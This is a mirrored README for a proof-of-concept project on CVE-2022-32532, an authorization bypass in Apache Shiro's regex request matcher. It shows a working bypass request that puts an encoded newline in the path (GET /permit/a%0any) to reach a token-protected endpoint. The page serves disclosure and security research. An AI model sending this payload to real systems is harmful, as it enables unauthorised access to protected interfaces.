CVE-2022-32532 PoC — Authentication Bypass Vulnerability

Source

https://github.com/Lay0us1/CVE-2022-32532

Associated Vulnerability

Title: Authentication Bypass Vulnerability (CVE-2022-32532)
Description:Apache Shiro before 1.9.1, A RegexRequestMatcher can be misconfigured to be bypassed on some servlet containers. Applications using RegExPatternMatcher with `.` in the regular expression are possibly vulnerable to an authorization bypass.

Description

Apache Shiro CVE-2022-32532

Readme

# CVE-2022-32532

## about

This is a demo project, which only shows one of the conditions for exploiting this vulnerability (CVE-2022-32532). 

In fact, there are more ways to exploit it, as long as developers use `RegExPatternMatcher`, there will be a possible bypass vulnerability.

## introduce

Token request header verification is required under the current configuration, otherwise you do not have permission to access the interface under `/permit`

This request can succeed
```http request
GET /permit/any HTTP/1.1
Token: 4ra1n
```

Access is not allowed when there is no token request header
```http request
GET /permit/any HTTP/1.1
```

It can be bypassed in a simple way in special but common configurations
```http request
GET /permit/a%0any HTTP/1.1
```

## reference

https://lists.apache.org/thread/y8260dw8vbm99oq7zv6y3mzn5ovk90xh

This vulnerability is similar to Spring-Security [CVE-2022-22978](https://tanzu.vmware.com/security/cve-2022-22978)

Thanks to [bdemers](https://github.com/bdemers) (Apache Shiro PMC) and [chybeta](https://github.com/chybeta) (Security Researcher)

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →